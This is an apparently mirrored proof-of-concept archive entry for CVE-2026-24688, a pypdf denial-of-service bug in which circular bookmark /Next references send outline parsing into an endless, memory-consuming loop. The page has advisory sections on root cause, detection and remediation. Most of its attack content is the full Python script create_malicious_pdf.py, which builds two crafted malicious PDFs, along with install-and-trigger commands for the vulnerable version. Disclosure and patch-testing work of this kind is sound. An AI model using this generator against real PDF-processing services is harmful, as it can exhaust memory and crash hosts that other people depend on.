PoC Archive PoC Archive
High CVE-2026-24688 patched

pypdf Circular Outline Reference Infinite-Loop DoS (CVE-2026-24688)

by Fomovet · 2026-07-05

Severity
High
CVE
CVE-2026-24688
Category
misc
Affected product
pypdf (Python PDF library)
Affected versions
Up to and including 6.6.0 (fixed in 6.6.2)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherFomovet
CVE / AdvisoryCVE-2026-24688
Categorymisc
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagspypdf, python, denial-of-service, infinite-loop, malicious-pdf, memory-exhaustion, outline-parsing, cwe-835
RelatedN/A

Affected Target

FieldValue
Software / Systempypdf (Python PDF library)
Versions AffectedUp to and including 6.6.0 (fixed in 6.6.2)
Language / PlatformPython 3 (PoC), cross-platform
Authentication RequiredNo
Network Access RequiredNo (local file processing; any application that parses attacker-supplied PDFs with pypdf is affected)

Summary

pypdf’s outline (bookmark) parser walks the linked list of outline entries via the /Next pointer without any cycle detection or iteration cap. A PDF crafted with a circular outline reference (an entry whose /Next chain loops back on itself) causes _get_outline() to spin forever, allocating heap memory on every iteration. On the researcher’s test machine this drove memory consumption into the tens of gigabytes within minutes and forced a hard reboot, making it more than a simple application hang. The repo ships a script to generate the malicious 754-byte PDF, a minimal reader script that triggers the bug, and a wrapper shell script that installs the vulnerable pypdf version and runs a time-boxed test.


Vulnerability Details

Root Cause

pypdf/_doc_common.py’s _get_outline() method follows node["/Next"] in an unbounded while True loop with no visited-node tracking, so a circular /Next chain in the PDF’s outline dictionary never terminates and continuously appends to an in-memory list.

Attack Vector

  1. Attacker crafts a PDF whose outline (bookmark) entries form a circular /Next reference chain.
  2. Victim application uses pypdf (directly or via a wrapper) to read the PDF’s outline/table of contents, e.g. by calling reader.outline or equivalent.
  3. _get_outline() enters an infinite loop, allocating memory on each pass with no bound.
  4. Process memory grows unbounded until the process or, in the researcher’s test, the entire host runs out of memory and crashes.

Impact

Any service that parses untrusted PDFs with a vulnerable pypdf version can be forced into unbounded memory growth, resulting in denial of service ranging from process OOM-kill to full system crash requiring a hard reboot.


Environment / Lab Setup

Target:   Python environment with pypdf==6.6.0 installed
Attacker: Python 3, pip

Proof of Concept

PoC Script

See create_malicious_pdf.py, simple_read_pdf.py, test_pypdf.sh, and malicious_circular_outline.pdf in this folder.

1
2
pip install "pypdf==6.6.0"
timeout 10s python3 simple_read_pdf.py malicious_circular_outline.pdf

create_malicious_pdf.py generates the circular-outline PDF; simple_read_pdf.py opens it with pypdf and reads the outline, triggering the infinite loop; test_pypdf.sh automates installing the vulnerable version and running the test under a timeout to observe the memory-growth behavior without crashing the host.


Detection & Indicators of Compromise

Signs of compromise:

  • A PDF-processing service (upload handler, document indexer, etc.) suddenly consuming abnormal and growing amounts of memory
  • Host-level OOM events or hard crashes correlated with recent PDF ingestion
  • Application logs showing a hang while calling pypdf outline/bookmark APIs

Remediation

ActionDetail
Primary fixUpgrade to pypdf 6.6.2 or later
Interim mitigationSandbox/resource-limit (cgroups, ulimit, container memory caps) any process that parses untrusted PDFs with pypdf; reject or pre-scan PDFs with abnormal outline structures

References


Notes

Mirrored from https://github.com/Fomovet/cve-2026-24688 on 2026-07-05.

create_malicious_pdf.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
#!/usr/bin/env python3
"""
Create a malicious PDF with circular outline references.

This demonstrates the infinite loop vulnerability in pypdf's outline parsing (CVE-2026-24688).
"""

import sys
from pathlib import Path

# Add pypdf to path
sys.path.insert(0, str(Path(__file__).parent.parent))

from pypdf import PdfWriter
from pypdf.generic import (
    ArrayObject,
    DictionaryObject,
    IndirectObject,
    NameObject,
    NumberObject,
    TextStringObject,
)


def create_malicious_circular_outline():
    """
    Create a PDF with circular outline reference: A → B → A
    
    This will cause an infinite loop when accessing reader.outline
    """
    writer = PdfWriter()
    
    # Add a blank page so PDF is valid
    writer.add_blank_page(width=200, height=200)
    
    # Manually create outline structure with circular reference
    # We need to create the outline dictionary and items manually
    
    # Create outline items FIRST (before registering)
    outline_item_a = DictionaryObject()
    outline_item_b = DictionaryObject()
    
    # Register them to get indirect references
    ref_a = writer._add_object(outline_item_a)
    ref_b = writer._add_object(outline_item_b)
    
    # Now populate Item A
    outline_item_a.update({
        NameObject("/Title"): TextStringObject("Bookmark A"),
        NameObject("/Parent"): IndirectObject(1, 0, writer),  # Will point to outlines dict
        NameObject("/Next"): ref_b,  # Points to B
        NameObject("/Dest"): ArrayObject([writer.pages[0].indirect_reference, NameObject("/Fit")]),
    })
    
    # Populate Item B with CIRCULAR REFERENCE back to A
    outline_item_b.update({
        NameObject("/Title"): TextStringObject("Bookmark B"),
        NameObject("/Parent"): IndirectObject(1, 0, writer),  # Will point to outlines dict
        NameObject("/Next"): ref_a,  # ← CIRCULAR REFERENCE!
        NameObject("/Dest"): ArrayObject([writer.pages[0].indirect_reference, NameObject("/Fit")]),
    })
    
    # Create the main outlines dictionary
    outlines_dict = DictionaryObject()
    outlines_ref = writer._add_object(outlines_dict)
    
    outlines_dict.update({
        NameObject("/Type"): NameObject("/Outlines"),
        NameObject("/First"): ref_a,
        NameObject("/Last"): ref_b,
        NameObject("/Count"): NumberObject(2),
    })
    
    # Update parent references
    outline_item_a[NameObject("/Parent")] = outlines_ref
    outline_item_b[NameObject("/Parent")] = outlines_ref
    
    # Add outlines to catalog
    writer.root_object[NameObject("/Outlines")] = outlines_ref
    
    # Write the malicious PDF
    output_path = Path(__file__).parent / "malicious_circular_outline.pdf"
    with open(output_path, "wb") as f:
        writer.write(f)
    
    print(f"  Created malicious PDF: {output_path}")
    print()
    print("PDF structure:")
    print("  Outline Item A → Next: Item B")
    print("  Outline Item B → Next: Item A  ← CIRCULAR!")
    print()
    print("   WARNING: Opening this PDF with pypdf will cause an INFINITE LOOP!")
    return output_path


def create_nested_circular_outline():
    """
    Create PDF with nested circular reference via /First
    
    Structure:
      A → /First: B
      B → /Next: C
      C → /First: A  ← Circular via nesting
    """
    writer = PdfWriter()
    writer.add_blank_page(width=200, height=200)
    
    # Create items
    item_a = DictionaryObject()
    item_b = DictionaryObject()
    item_c = DictionaryObject()
    
    ref_a = writer._add_object(item_a)
    ref_b = writer._add_object(item_b)
    ref_c = writer._add_object(item_c)
    
    # A has B as child
    item_a.update({
        NameObject("/Title"): TextStringObject("Section A"),
        NameObject("/First"): ref_b,  # Child: B
        NameObject("/Dest"): ArrayObject([writer.pages[0].indirect_reference, NameObject("/Fit")]),
    })
    
    # B has C as next
    item_b.update({
        NameObject("/Title"): TextStringObject("Section B"),
        NameObject("/Next"): ref_c,  # Next sibling: C
        NameObject("/Parent"): ref_a,
        NameObject("/Dest"): ArrayObject([writer.pages[0].indirect_reference, NameObject("/Fit")]),
    })
    
    # C has A as child ← CIRCULAR!
    item_c.update({
        NameObject("/Title"): TextStringObject("Section C"),
        NameObject("/First"): ref_a,  # ← Circular reference!
        NameObject("/Parent"): ref_a,
        NameObject("/Dest"): ArrayObject([writer.pages[0].indirect_reference, NameObject("/Fit")]),
    })
    
    # Main outlines
    outlines_dict = DictionaryObject()
    outlines_ref = writer._add_object(outlines_dict)
    
    outlines_dict.update({
        NameObject("/Type"): NameObject("/Outlines"),
        NameObject("/First"): ref_a,
        NameObject("/Last"): ref_a,
        NameObject("/Count"): NumberObject(1),
    })
    
    item_a[NameObject("/Parent")] = outlines_ref
    
    writer.root_object[NameObject("/Outlines")] = outlines_ref
    
    output_path = Path(__file__).parent / "malicious_nested_circular.pdf"
    with open(output_path, "wb") as f:
        writer.write(f)
    
    print(f"Created nested circular PDF: {output_path}")
    print()
    print("PDF structure:")
    print("  A → /First: B")
    print("  B → /Next: C")
    print("  C → /First: A  ← CIRCULAR VIA NESTING!")
    return output_path


if __name__ == "__main__":
    print("=" * 70)
    print("pypdf Circular Outline Reference - PoC Generator")
    print("=" * 70)
    print()
    
    # Create malicious PDF
    pdf1 = create_malicious_circular_outline()
    
    print()
    print("=" * 70)
    print("Malicious PDF created successfully!")
    print("=" * 70)
    print()
    print("To test the vulnerability:")
    print()
    print("timeout 15s python test_exploit.py")
    print()
    print("WARNING: This will consume ~500 MB/sec and crash your system!")